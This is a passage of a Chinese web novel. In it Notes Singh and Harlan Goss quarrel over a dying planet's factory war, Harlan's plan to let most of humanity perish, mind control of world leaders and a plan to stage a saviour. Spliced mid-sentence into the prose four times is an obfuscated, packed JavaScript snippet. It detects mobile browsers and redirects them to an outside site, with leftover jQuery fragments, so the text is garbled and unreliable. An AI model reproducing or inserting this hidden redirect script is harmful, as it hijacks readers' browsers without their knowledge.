片刻之后,纳迪娅和另一个男人离开了这个围着透明墙壁的空间。 “纳迪娅,不要抽烟。”往外走的时候,男人告诫她。 “我都三十四了。”她听上去有些无奈。 “那也不行。” “好吧。”她放下了那只电子烟,把它揣进了白大褂的口袋里,“你知道吗,你也就管我的时候还有点为人父的样子。” “……我平时哪里做得不好吗?” 纳迪娅大笑,笑声很有感染力,“没有没有,你是世界上最好的老爹了——” 透明的舱门关上的时候,纳迪娅的话也好、笑声也好,全都戛然而止。 四周是安静的,似乎就连电流滋滋作响的声音都听得见。 庄森芽闭上眼睛。 她告诉自己,长痛不如短痛。 与其提心吊胆,每画一笔时,都在纠结那人最终会否归来。 不如一鼓作气,抵达终局,彻底扼杀这使人彷徨不已的心境。 片刻后,再度睁开睁开。 笔落下去,毫无犹疑。 画面上,走廊成型了,而后是走廊里的人。 她全神贯注于笔下的世界,脑海里没有一丝杂念。 ## 昏暗的走廊里,两个步履匆匆、头戴面具的人影一闪而过。 “听说无主之地西部的第三工厂已经陷落,然而上面的意图却仍然模糊不清……”其中一个披着白袍的人说。 “半数候鸟山工厂都被打掉了,为什么我们还不组织反击?”另一个披着红袍的人开口,声音听起来有些焦急。 “再这么被动下去,核心工厂就要失守了。” “……辛格大人到底在想什么?” “问了就知道了。” 两人来到一个装修典雅的大门前,停步驻足,彼此看了一眼,都没有行动。 “你怎么不往前走了?”左边的白袍问右边的红袍。 “你又怎么不往前走了?”右边的红袍用同样的问题还敬之。 “不是要问辛格大人问题吗?” “是你要问。” “是你。” “你。” 两人推就来推就去,在门前叽叽喳喳,像两只拌嘴的鸟类。 “我懂了,你是怕了吧。”白袍说。 “我才没怕,有什么好怕的?”红袍不屑一顾。 “那你往里走啊。” “走就走,你等着瞧。” 披着红色斗篷的人上前,握住了扶手,然而仿佛这道门上有什么骇人的魔法一般,他站定在它面前,迟迟没有继续,半晌,又退了回来。 “我想了一下,辛格大人这个时候可能在休息。” “胆小鬼。” “你说什么?” “大人又不会吃了你。” “但他会把我的皮扒了,挂在工厂的烟囱上示威。” “才不会呢,那会弄脏我的手。”突然,一个声音在两人的身后响起。 “!”一白一红两个袍子肉眼可见地颤抖了一下,左右退去,让出路来,不约而同地喊,“辛格大人!” 诺特斯在他们中间穿过,服装有些复古,几乎坠地的下摆垂在身后,他推开那扇雕工精良的木门,走进了房间之中。 “进来。”声音幽幽从内部传出。 两人连忙跟了上去,钻进门中,双开的大门缓缓合上。 这是一间用于办公议事的房间,一只红木制的桌子斜斜地摆在正对门的位置,下方铺了一个圆形的地毯,墙边上有两把原木靠背椅,是留给到访的人使用的。 然而门口的两人却不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859645|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下来,他们局促地站着,等待诺特斯朝他们发话。 诺特斯径直穿过红木长桌,坐在那后面的一把皮革椅上,模样悠然,朝他们问道:“工厂就要全线陷落了,你们很害怕吗?” 白袍子挺直了身板,“不害怕,辛格大人,有您在的地方我们就,就……” 他越说声音越小,也越没有底气。 这时候红袍子上前一步,振声说,“害怕!我们害怕,大人。我们害怕看到愚者居上,害怕看到您苦心经营的一切付诸东流。那些人什么都不懂,还听不进告诫,大人,您为什么不给他们一点颜色看看?” 白袍子也附和道:“我的先祖世代服侍于候鸟山工厂,戈斯大人在时,没有人敢欺压我们到这个份上,大人,我恳请您重铸往日的辉煌。” “的确,哈兰在各方各面做得都比我好,你们想要哈兰回来吗?”诺特斯仿佛随口一问。 “不,我没有这个意思……”白袍子立刻低下头去,像是认为自己说错了话。 诺特斯用指尖轻点着桌面,他略过了上一个话题,十分跳跃性地问道:“现在和我们处于交战状态的势力有哪几个?” “处于国家境内的各个工厂,现在基本已经被各国以产业本地化的名义收入囊中。”白袍尽职地汇报说,“而位处无人之地的工厂,也普遍被当地的民兵势力觊觎,其中机动力最强的一支当属尤梭带领的‘擒雷’作战小队,从他们和我们爆发冲突开始,已经攻下了大小据点十五个,这些人现在占领的工厂比任何一个国家都要多。” “这样啊。”诺特斯把玩着额前的一缕卷发,将它搓成细条又松开,没有一丝紧迫感,“怎么会让他拿下十五个,我记得每个工厂都有守卫军配置,难道是集体罢工了吗。” 一句玩笑没能消解白袍脸上的严肃,他面具下的面容反而变得更加凝重了,“尤梭的手段极其恶劣,买通内细、自杀式进攻、偷挖暗道,什么手段都用得出来,我们的人应接不暇,为保护工厂中的工作人员,只能一再退让。” 这时候,红袍激动地开口了,“就应该硬碰硬,工厂没了星球也要完了,人活下来有什么用?” 白袍无奈地对自己的同僚说:“他连自己人都炸,你要跟这种人硬碰硬?” 红袍:“各厂负责人总该有那么一两个血气方刚的吧,不能都是逃兵吧。” 白袍:“你没有身处其中,不要妄下定论。” 红袍的声音拔高了些,“那让我上前线,下次尤梭要攻打哪里,我就去哪里坐镇,给你演示一下什么才做奋起反击。” “听着就是莽夫会做的事……”白袍侧过头去,嘴里小声说。 “你嘀咕什么呢?”红袍瞪圆眼睛。 “好了。”诺特斯用指节敲了敲桌面,声音不大,可却让对面的两人立刻噤了声,并板正地站直,“白鹰说的没错,没什么比性命更重要。” 红袍明显不服,“可是大人——” “红隼。”诺特斯打断他,“你要是真这么不忿、想通过拳头武力来证明点什么的话,正好我有一个任务指派给你。” 听到这句话,红隼来了劲头,上前一步说:“大人请尽管下达指令。” “你去把尤梭抓回来。” 红隼脸上兴奋的表情凝固了,“我,我吗?” “是你。”诺特斯冲他笑。 “怎么了,大红。”白鹰在一旁煽风点火,“不是你说要硬碰硬吗,现在不过是让你把‘擒雷’的头头抓回来,你怎么就蔫了?” “别说风凉话了。”红隼低声恶狠狠地冲自己同伴说了一句,转而面向桌子后面的诺特斯,“大人,您是在开玩笑还是……” “一级战士随你调遣,但记得要把人都平安带回来。”诺特斯吩咐说,仿佛这件事情已经板上钉钉了。 红隼吞了口口水,“大人,尤梭可是那群民兵的头目,他们手里有重火炮,听说最近还从别的国家买了几辆重型坦克,据点有数千精锐把守,您叫我直掏黄龙把他抓回来实在是有点……” 诺特斯:“红隼,我看起来像是那种会命令手下去送死的那种人吗?” “不,您不像。”他斩钉截铁地说。 “所以,按我说的去做就对了,你会没事的。” 红隼最终还是领命离开了,离开前深深朝诺特斯鞠了一躬,仿佛这一去就不打算回来了似的。 154. 怨气颇深 他走后,白鹰开口了,“辛格大人,您是有什么计划吗?” 诺特斯听了,耸耸肩,“计划你都听到了,把尤梭抓起来,就这么简单。” 白鹰此刻才显露出一丝焦急,就仿佛没料到计划真的只有这么一点,“可是红隼在以往的作战考核中只拿到过B-的成绩,让他去的话不如换我……” “不用担心你的同伴。”诺特斯说,“‘擒雷’早就解散了,尤梭正在逃亡呢。” 此话一出,白鹰面具下的脸明显震惊起来,“解散……?” “我只是担心尤梭东山再起,毕竟他太烦人了啊。”诺特斯用指尖点着桌面,节奏比刚才要快,将他的烦躁彰显无疑,“在别人吃下午茶的时候突然发起进攻,整装待发迎过去了却发现他只是打一下就跑;散布谣言又矢口否认,装什么白莲花受害者,善事全落在他头上坏事全是我做的;还有,他还在他们的练兵场拿我的画像做靶子,做靶子也就算了还把我画得奇丑无比;战书一个不接,仗是一个没少打,我怀疑光明磊落这四个字他上学就没学过;打起架来什么阴招都用,把自己的手下当人体炸弹往工厂里投,救吧这些人也不会感谢你,不救又会糊你一身血泥;还有那张脸,那张脸是最惹人烦的,以前还好,最近是越来越招人厌了,虚伪做作,恬不知耻,抢工厂还不够还要从我这里抢人,我真是——” 他一连串控诉了一堆,连太阳穴上都暴起了青筋,整个人看起来焦躁不已,头发都被自己抓乱了,像是这些话语在内心积压了很久。 白鹰在一旁都看呆了,仿佛从来没见过这样的诺特斯,“呃……辛格大人,您消消气……” 诺特斯闭了闭眼睛,深深叹了口气,很快,那烦躁的气息就从他周身散去了。 再睁开眼时,他嘴角是笑着的,然而目光却狠厉,“在另一边出于各种各样的原因我没法找他算账,但在这边,规矩可就没有那么多了。” 他神情几乎可以说得上是恐怖,笑容堪称阴森。 对面的白鹰吞了口口水,虽然看起来并没有理解诺特斯在说什么,还是试图寻找话题,缓解这令人背后发毛的气氛,“大人,您刚才说‘擒雷’解散了?这是怎么回事?” 听到这个问题,诺特斯恢复了平时的模样,淡然地解释说:“这个团体已经不攻自破了,掌权人更替,现在是属于我们一方的。” 白鹰惊讶,“统领者已经不是尤梭了吗?” “不是。” “那是谁?” “是你刚才还在怀念的那个故人。”诺特斯别有深意地笑起来。 白鹰呆呆地盯着他,看样子是半天也没想明白这话究竟是什么意思。 斗转星移,时间一眨眼过去了半个月。 世界各地对于石剑醇生产工厂的争夺从未停歇,战乱四起,乌云缭绕,从地底下泄露出来的放射性物质肆无忌惮,然而环球组织毫无作为,人们的生活苦不堪言。 粉碎这场混乱的,是一次更大的创伤。 在一个无风的夜晚,位于人口最密集的城市附近的一座死火山突然苏醒了过来。 起初是家犬在鸣叫,而后鸟雀从森林中逃逸,紧接着,天亮了一瞬,巨大的轰鸣惊醒了城市中所有的人。 他们看到仿佛来自地狱的岩浆吞没了跨河大桥,将它像牙签一样折断,吞入腹中。 比汽车速度还快的熔岩瞬间就包围了洼地中的城市,数百年的文明一夜之间蒸发,繁荣的城市,钢筋水泥土制成的地面,橱窗摆放的精致布娃娃,从田园里新摘来的果蔬和浆果,这些由热量而生的一切事物,在这一刻也终归于它们最原始的形态。 一切生命都在这个过程中消亡。 第二天,人们来到这片洼地,看到岩浆已然趋于冷静,变成了黑灰色的岩石,新的地表有着错综复杂的纹路,但哪里也不见曾经那座城市的影子。 这里已经什么都没有了。 那座死火山曾经被研究人员鉴定为上万年也不会爆发,作出这个预言的人在城市覆灭的第三天,也消失在了这个世界上。 联合王国把过错推就给一个甚至连同身大小的巨石都搬不动的人类,而不去探明真正的问题所在,蒙蔽着自己腐朽的双眼。 “这份报告你看了吗?” 清晨,挂满了帷幔的卧室内,一个男人坐在凌乱的床上,他上身什么也没穿,只有一根长长的吊坠在脖子上挂着,下半身随意遮了个布帘子,身边都是杂乱的纸张。 在卧室的门口,站着一个披斗篷的女人,除了下半张脸以外,全都隐藏在了暗红色的沉重布料之后,红唇像血一样,下巴尖到几乎有点变形。 “米歇尔,他们快要把我逼疯了,米歇尔。”坐在床上的人是诺特斯,他甩开手上的薄薄一张报告纸,站起来在深褐色的地毯上踱步,几乎每个尾音都在质疑地上扬,“一个城市,上百万人,说没就没了,狗见了都得哀鸣几声吧?” 女人还是站在门口,长袖在身前交叉,像一个古典花瓶一样,她开口,音色是沉着且富有磁性的,“这话从你的嘴里说出来,让我怀疑我是不是还在自己的床上做梦。” “别拿我开玩笑了,大占卜师。”诺特斯靠在窗旁,双臂抱在胸前。虽然是清晨,可外部却没有一丝明媚的光线照射进来,沙尘总是在天际之间游荡,整个地面都是昏黄的,“联合王国那些人的固执程度超出了我的想象,他们一点为那些逝者有所作为的迹象都没有,把过错推给一个人就算结束了,根本不愿意去调查是不是身边的环境出了什么问题,也不管将来是不是还会发生同样的事。” “他们向来是这样的,你又不是不知道。”女人说。 “非得哪天半个莱王星炸没了,才肯意识到事态的严重性吗?” 名叫米歇尔的女人虽然披着斗篷,但依然能看出她在盯着诺特斯。 视线仿佛能穿透深红色的布料,她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859646|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量着男人。 “你今天很奇怪。” “……我?”诺特斯像是刚从自己的思绪中抽身,有些不明所以。 “你连投河的小孩子都不救,现在却在关心他人的生死。” “我那时只是尊重他人命运——”他说到一半,眯起眼睛,盯着披斗篷的女人,“你怎么知道我没有救一个投河的小孩?那是十几年前的事情,当时我还不认识你,米歇尔。” 她勾起嘴角,音色平静,“当然是别人告诉我的,诺特斯。” “……”他盯着她审视了半晌,扬扬眉,方才浅浅升起阴狠的气息从他身旁散去了,“……言归正传,这样下去不是办法。我马上就要离开了,在离开之前,这些乱七八糟的事情得有一个收场。” “离开?你要去哪?” 他视线落在一旁,“不重要,总之我不会再回来了。” “工厂你也不管了吗。” “你们再找继承人吧,比我有责任心的人一抓一大把,我看白鹰和红隼那兄弟俩就不错。” 米歇尔沉默片刻,又说:“……既然你要离开,随时都可以走,这个世界上是没有人制止得了你的,你完全可以撒手不管,不顾其他人的死活。” “你也说了,这种行为是‘不顾别人死活’的,我还能那么做吗?” 听到这里,米歇尔一笑,“所以我说你今天好像不太一样,诺特斯。” “要我说你今天也很奇怪。”诺特斯突然说道。他盯着她,还敬她一个冰冷的笑,眼里带着敌意,“把我剖析来剖析去,说个没完。可我认识的米歇尔每句话最多五个词,没聊两句,这位惜字如金的占卜师就会不耐烦地消失。” “啊……对,她好像的确是这个性格。”房门前的‘米歇尔’想起来什么似的,若有所悟。 指尖扣紧了窗沿,小臂的肌肉紧绷起来,诺特斯脸上没有变化,可周身散发的气息却危险了几分。 两人之间隔着一整个卧室的空间,一个站在窗边,一个站在门前,无形的立场正在彼此碰撞。 “你是谁?”诺特斯压低了声音问。 对方没有跟他卖关子,一片浓稠的雾气在‘米歇尔’的脚下蒸腾,而后将她整个身形包裹。 片刻之后,白雾渐渐散去了,站在门前的已然不是身披斗篷的女人,而是一个留着金黄长发的男人,他的眉毛和眼睫都是深棕色,下巴上蓄着一掌长的胡须,目光是宽和的,身上披着一件看起来像是床单做的衣袍。 看到门前这个人,诺特斯愣住了。 “哈兰……” “好久不见了,诺特斯。”男人说话的声音和他的面容一样,都给人一种沉稳宽容的感觉。 诺特斯盯着他,愣愣地看了一阵,然后突然笑了,自顾自地摇摇头,“你做事永远让人捉摸不透。” “我以为你会更惊讶一点。”哈兰说,“但看你的样子,好像知道我还活着。” 155. 激进派往往深藏不露 那股骇人的气息早已从诺特斯的身畔消失,他又变得轻松平静,一屁股坐在床上,摸了摸自己的后脖颈,“是有一个小姑娘告诉我的。” 哈兰的神色是温和的,从刚才开始到现在表情就没变过,整个人像一尊神像,“在我印象里,注意到我的存在的人之中,似乎没有什么小姑娘。” 紧张的氛围消失了,诺特斯变得松弛下来,又站起来去衣柜里随便翻了身衣服。 “之后我会和你说的,哈兰。”他套了一身纯白色的修身长袍,双臂裸露在外,衣摆宛如瀑布一般,这让他看起来像是一个舞者,“话说,你好像看起来年轻了一点。” “毕竟是转世。” “怎么会想要回来?”诺特斯问,四下寻找着什么,“之前离开的时候不是跟我说什么——‘大限将至,我的职责已尽,该是离去之时’。我以为这个烂摊子你是真的想甩手不管了。” “戈斯家的下一任继承人尚且还需要数十年才会降临于这片大地,然而,再放任这里的人们胡作非为,几年内这个星球就会毁灭。” “真是抱歉啊,我没能阻止他们。”诺特斯虽然是在道歉,可语气却听起来没那么正经。 “是我把这几十年中继人的责任强加给了你,说到底是我的问题。” “停,打住吧,再说下去要变成检讨大会了。”诺特斯终于在床头柜上找到了一把木梳,然而梳了两下,却断了个齿,浓密的黑色卷发仍然杂草一样堆在头上,他咂咂舌,继续没头苍蝇似的寻找工具,“言归正传,哈兰,言归正传。你今天出现在这里,应该不只是为了来见见老朋友吧?” “的确不是。”哈兰如实作答。 “联合王国那群人的态度你也看到了,他们是永远不会从自己的梦里醒来的。”诺特斯边说着,边钻进了洗浴间,继续寻找处理他这一头乱发的趁手用具。在得知来者是哈兰之后,他整个人就变得随意起来,该干嘛干嘛了,“另外,我听说你已经把尤梭的民兵组织收归旗下,是已经在为下一步的计划布局了? 他问完这个问题之后,等了半天,却是迟迟没有人回应。 于是诺特斯又探了半个身子出来,疑惑地盯着门口的人,“你怎么不说话?” 哈兰站在那里,仿佛变成了个货真价实的石雕似的,目光垂落在地面上,宽和的面容上浮现出一丝凝重。 “人的思维一旦固化之后,就很难改变了。”他说着,目光缓缓转向诺特斯所在的位置,其中带着一些犹疑和歉疚。 诺特斯挑挑眉,似乎是不理解对方怎么说起了这些。 “但是你能,不是吗。这个世界上只要有思维的生物,你都可以改写他们的想法。”他钻回洗浴间,翻箱倒柜的声音和话语一并从中传出,“可惜这么便利的能力你从来不用,说什么家规的第三十条还是第四十条写明了禁止滥用,还说什么不想干涉人们的想法,唯恐断送他们的灵性。现在你也看到了,这千疮百孔的世界就是他们的灵性创造的绝佳之作。” 哈兰并没有反驳诺特斯的话,只是保持沉默。 “哈兰,我早就跟你说过,只要你用你的能力控制住几个联合王国的首脑,争端就平息了。”诺特斯似乎终于找到了一个心仪的木梳,沙沙的梳头声从洗衣间传了出来。 卧室内又安静了片刻,从刚才开始,哈兰似乎就总是在沉默,虽然他也才刚出现没多久。 “可是,只是控制住几个首脑,就能解决这次的问题了吗?”哈兰像是在自言自语,声音放得很轻,“人的想法就像是传染病,只要这个世界上还有一个人认为候鸟山工厂里生产的是黄金,而非维系这个星球运转至关重要的生命物质,那么还是会有越来越多的人这么想。” “没办法,“诺特斯说,“你总得有允许有些人只看得见眼前的利益。” “而我的能力也有限,将这个世界上所有人的想法都‘净化’是不可能的。” “没要你做得那么绝对,只要情况能比现在这惨兮兮的模样好上一点就——”说到一半,诺特斯仿佛意识到了什么,举着一把巨齿木梳再度从洗浴间探出头来,有些紧张地盯着对方,“哈兰,你……想做什么?” 哈兰的眼中浮现出几种复杂的情绪,像是受到了重创,整个人都显得有些没精打采,但与此同时,眼底又出现了一种恒固的无情,“你永远没办法教会一个小孩火很烫这件事,除非他自己亲自将手伸进火堆里。” 诺特斯绷紧了嘴唇,脸色有些惨白,“别告诉我你是要……” “如果你是指将所有候鸟山工厂拱手让人,让这个星球失去石剑醇的供给,内在循环被打破,而后在其子民的手中消湮,再有朝一日重建的话……那么你猜的没错,诺特斯。” 洗浴间的人彻底愣住了,仿佛连梳头这件事情都忘记,甚至一手抓乱了刚捋顺的头发。 “会有很多人死啊。”诺特斯的面容是略带震惊的。 “新生总是伴随着创伤。”哈兰平淡地回答。 “死掉九成以上的人口都算少的。” “有时候会伤得重一些。” “这世上还有很多无辜善良的平凡人,你这么做他们都会消失。” “我对他们表示抱歉。” “你还是哈兰·戈斯吗?” “如假包换。” “疯了吧。”诺特斯抱头回到卧室,又开始在房间里毫无目的地踱步,“不,不行,我虽然阻止不了你但你给我住手。” “为什么?” “为什么?”诺特斯重复着他的疑问,“因为海国有一个瞎小子记住了我那首随便写的又臭又长的赞美歌?因为候鸟山工厂里这些天天跟在别人屁股后面神神叨叨的守卫者其实人都还不错?或者因为——天呐,哈兰,你怎么能问我这个问题?我以为我们两个相比,你才是更有人情味的那一个。” “所以我说你今天很奇怪。”哈兰又扯回了先前的话题,“我以为你能理解我的计划。” “奇怪的是你,大圣人,戈斯家几万年的名声被你当皮球一样踢。” “……我只是想创造一个纯粹的世界。” “可那些都是活生生的人,他们都已经存在于此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859647|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,在你的玩偶箱子里,你不能说不要就不要了。” 哈兰缓缓地眨眼,表情渐渐染上迷茫,像是真的不知道什么是对什么是错,“那我该怎么办?” 诺特斯长长地叹息一声,脸上显露出一种被麻烦事找上的苦恼,“……就像我说的那样,控制住各国首脑,平息战乱。” 哈兰看起来还是有些犹豫。 “就试这么一次,好吗?”诺特斯放低了声音,劝说着,“不成功再实施你那项疯狂的人类灭绝计划。” “那不是人类灭绝计划。” “唉,你说不是就不是吧。”他似乎有点疲惫了。 “……”哈兰盯着诺特斯再度钻进洗浴间的背影,模样若有所思。 这场短暂的会面的第二个月,一场没人预料到的世界规模的动乱爆发了。 导火索是一条没能封锁住的消息—— “距离星球毁灭只剩三个月的时间。” 没人知道这个流言是如何散布出去的,可能是那些被哈兰洗脑的各国首脑误传了消息——毕竟哈兰只是强制让他们理解了候鸟山工厂存在的意义,要时时刻刻看住他们是不可能的——又或者是亲眼见证死火山复燃的人们终于从政府的欺骗中醒来,意识到自己究竟身处于怎样的大地之上,只是反应有些过于激烈,以至于传播出来只剩三个月可活的流言。 不管原因是什么,那句灭世的预言像是病毒一样扩散到了全球各地,就连五岁大的小孩也会仰头问自己的妈妈:三个月后星球毁灭了我们会去哪里。 越来越多的人开始关心灭亡的原因,虽然有人终于明白过来是石剑醇供应不足的问题,但还是有越来越多的人开始迷信这是来自神明的惩罚。 于是享乐派出现了,挥霍自己仅剩的家产,买空了所有曾经舍不得享受的奢侈品。 法律成为了一张废纸,秩序成为了笑话。 狂欢从此开始,经年累月建立起的文明正在逐步瓦解。 而就在这场混乱之中,一次多国首脑会议在‘无人之地’的经济中心展开——无人之地只是代表没有国家占领,而并非无人生活。 圆桌之上,数十名衣冠楚楚的各国首领端正地围成一圈,唯有一个衣装形似睡袍的男人扶额叹息。 “意料之外?” 哈兰坐在其中一把椅子上,平静地盯着对面的诺特斯,语气听着是在说什么风凉话。 而围坐着的首脑们像是被什么控制了一样,保持着一个姿势一动不动,连眼神都笔直地望向前方。 “‘三个月后星球就要毁灭’,这种一听就不靠谱的谣言居然传播开来了,关键是还有那么多人信它……”诺特斯拿开扶着额头的那只手,摊开在身前,“这群人怎么比我还悲观?” “这很正常,你是我见过的最乐观的人。” “老兄,你打趣我起来没完了。” 哈兰耸了一下肩膀,他就连做这个动作的时候也是缓慢的,“对集体的思想抱有什么积极的看法,这足以说明你的乐观。” “你是思维操控大师,你说的都对。” 156. 造神计划 诺特斯似乎没有和对方争执的意图,转而又道:“现在应该怎么办,这帮民众连国家最高领导人的话都不信了,无主之地的人更是天天嚷嚷着世界末日要到了,工厂的底层工作人员都受到了影响,开始罢工不干活。” “这是不是正好,工厂全线停滞,正好执行被你称为‘人类灭绝计划’的备选方案。”哈兰神态自若地说。 诺特斯瘪瘪嘴,转向旁边一个身穿黑色西服的国家首脑,冲他说道:“听到了吗,这家伙要干什么?再不管管你们手底下的子民,让这疯子一锅端了,就没人陪你们玩最喜欢的国王游戏了。” 对面那黑西服的首脑转过头来,有些呆滞地看着诺特斯,嘴上木讷地说:“是,候鸟山工厂是神明留下的遗迹,戈斯大人与辛格大人的旨意绝不可违背,一切都是为了星球的永存。” 诺特斯的嘴角抽搐了一下,肉眼可见地无语了。 无法和首脑沟通,他只能转向在场仅剩的另一个拥有自主意识的人,并咧开一个无奈的笑容,“我说你能不能解开他们大脑上的控制,本来是多国会谈,被你硬生生搞成了一言堂。” “没有,我这不是在听你的意见。” 诺特斯努力保持着微笑,可嘴角还是再次抽搐了一下,“你干脆把我也催眠算了,这样,最后一个反对你的人也会闭上他的嘴巴。” “如果你允许的话,我会这么做。” “我的天,哈兰,我是在开玩笑。” 哈兰微笑,“我也是。” 诺特斯长长叹了一口气,靠在椅背上,把身上纯白色的丝绸外衣裹紧了一些,现在它看起来更像是睡袍了,“我很怀疑你这句话的真实性,以前隔三差五就来骚扰我,给我推销什么‘永恒快乐’咒语的人可是你,别以为我不知道你盯上我的脑袋多少年了。” “是你说想要每天都快乐,不想要烦扰,所以我才建议你做一个神经无痛改造。” “那我还真是谢谢你。”诺特斯说完,顿了顿,目光移向别处,看起来似乎在沉思一些什么,“……不过,过一阵子,我可能真的会让你得逞。” “嗯?什么?”哈兰似乎没太听懂。 “没什么。”诺特斯明显打算糊弄过去,不准备解释,将话题引导了回去,“言归正传,难道就真的没有什么更人性化的解决方案了吗?只要能把人心稳定下来,其他什么都好说。” “非要说的话,还有一个。” 听到对方这句话,诺特斯坐直了,表现出他的兴趣,“说说看。” “人们都认为三个月后世界将会毁灭,到时候,在那个关键的时间节点上,如果什么意外都没发生的话,日子只会回到往昔,什么都不会没有改变,对于石剑醇工厂的争夺还会继续下去吧。” “是,我就担心会是这样。” “但如果毁灭的的确确将会发生,但被人遏制了呢?” 诺特斯不解,“什么意思?” “那个人会变成救世主。” 听到这里,他反应了半晌,刹那又露出豁然开朗的神情,打了个响指,“我怎么没想到。国家首脑的话他们不听,救世主的话总该听两句吧?” “就是这个道理。” “可以,哈兰,我觉得这个计划能行。”诺特斯说,“那你打算怎么成为这个救世主?要怎么让人觉得星球就要毁灭了,而你站出来阻止了这场灾难?” “方法的话有很多。”哈兰说,“但要去成为救世主的人不是我。” “啊,你不当?那谁当。” “你。” “谁?” “你。” “我?” “对。” “啊?” “你没听错。” 诺特斯像是听到了什么耸人听闻的事情,紧紧贴在椅背上,一脸的难以置信,“不不不,你是在跟我开玩笑。” “这一次不是。” 他指着自己,眉间仍是震惊,“你让我,诺特斯·那个掌管石剑醇工厂的霸主·惨无人道的败类·毫无人性的刽子手·辛格,去当什么救世主。哈兰,你疯了还是我疯了。” 哈兰眨眨眼睛,目光透亮,显露出一丝困惑,“这些称呼都是哪来的,我没听谁这么叫你,哪怕是恨你恨得最彻底的民兵也没有。” “呃,从一块白色的欧珀那里。”他再度移开视线。 “……石头会说话?” “会说话而且还会打人。” 哈兰发出一阵拉长的音调,露出若有所思的神情,“……我记得你说你要离开了,诺特斯。” “是这样,怎么了?” 长发男人露出一个温和的笑容,然而话语却是骇人听闻的,“我来为你设计一场假死吧。” “我今天耳朵可能不太灵。” 哈兰没理会诺特斯的调侃,继而说道:“一位逝者总是比一个活人更受人尊敬,这种事情放在救世主身上也一样。” “你怎么不当那个耶稣?”诺特斯质问对方。 “耶稣是谁?” “……当我没说。” 从刚才开始,两人对话的频率好像就有点对不上,不过哈兰看起来并不在乎这一点小问题,“你走之后,我还要在候鸟山工厂坚持几十年,等下一代戈斯家的人降生才能放下这份责任,所以这个‘死去的救世主’头衔安在我头上并不合适。” “我开始后悔和你说我要走了。” “来吧,诺特斯。”哈兰将两只手摊开在桌子上,冲着对面的人,这显然是个邀请的姿势,“听听我的计划。” 诺特斯一声叹息,单手拄在桌子上,手背抵着自己的下巴,一副认命的模样,“你说。” 阴云笼罩于无主之地,一个计划正在渐渐成型。 时间一点一滴流过,每个莱王星的人心里都有一个倒计时,他们计算着所剩无几的时日,绝望或兴奋地等待预言之时的到来。 学生们停课了,街边的店铺全部停业,人们不再种植秋天能够收获的种子,一切和未来有关的事物都偃旗息鼓。 原有的社会规则被破坏,取而代之的是无尽的混乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859648|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就这样,日子过去了三个月。 预言之日到来了。 晌午时刻,波涛平静的海边,三个人影站在浅色的沙滩上。 水天相接的地方是一条黑色的直线,天空总是铅灰色的,恒星一年也不露一次头。 “你确定是这里?”诺特斯看着身旁的女人,向她问道,“海啸会从这个比我现在心情还平静的海面席卷而来?” 女人身着拖地的斗篷,只露半张惨白的脸在外面,音色是沉着且冷酷的,她回答诺特斯说:“是这里没错。” “会不会是你的预知出错了,米歇尔?”诺特斯看起来不怎么相信。 “不会有错。”她言简意赅地否定。 “米歇尔的预知向来很准。”这时候,一旁的哈兰插嘴说,“她说这里会发生海啸,那么就一定会发生,我们只需要静静等待灾难的降临就够了。” 诺特斯的目光投向茫茫大海,“可这海面一动也不动,再怎么温和的海滩也会有小幅度的涨落吧,然而它看起来还没有湖泊活泼。米歇尔,你确定——” 当他转过头去,想要寻找女人的身影时,却发现身后空无一人。 肩膀垮了下去,诺特斯露出一副有气无力的模样,“又来了,没说几句话就消失……” “理解一下吧,她的能力需要消耗巨大的能量,能站在这里跟你说上两分钟的话已经是很尊重你了。”哈兰替米歇尔说话,而后又道,“按照她的说法,海啸还有一个小时就要抵达,准备好了吗,诺特斯?” “准备好是准备好了……”诺特斯的声音有些犹豫,“可你确定要这么做?” “我百分之百肯定。” “好吧,哈兰,我得提前跟你说,不管这事成不成,结束之后我都要走了,因为如果失败了的话,我也没脸待在这颗星球了……” “相信我,诺特斯,会成功的。” 两人一同看向遥远的天际线,一个信誓旦旦,一个无奈至极。 究竟为什么会变成这样,还要从十天前开始说起。 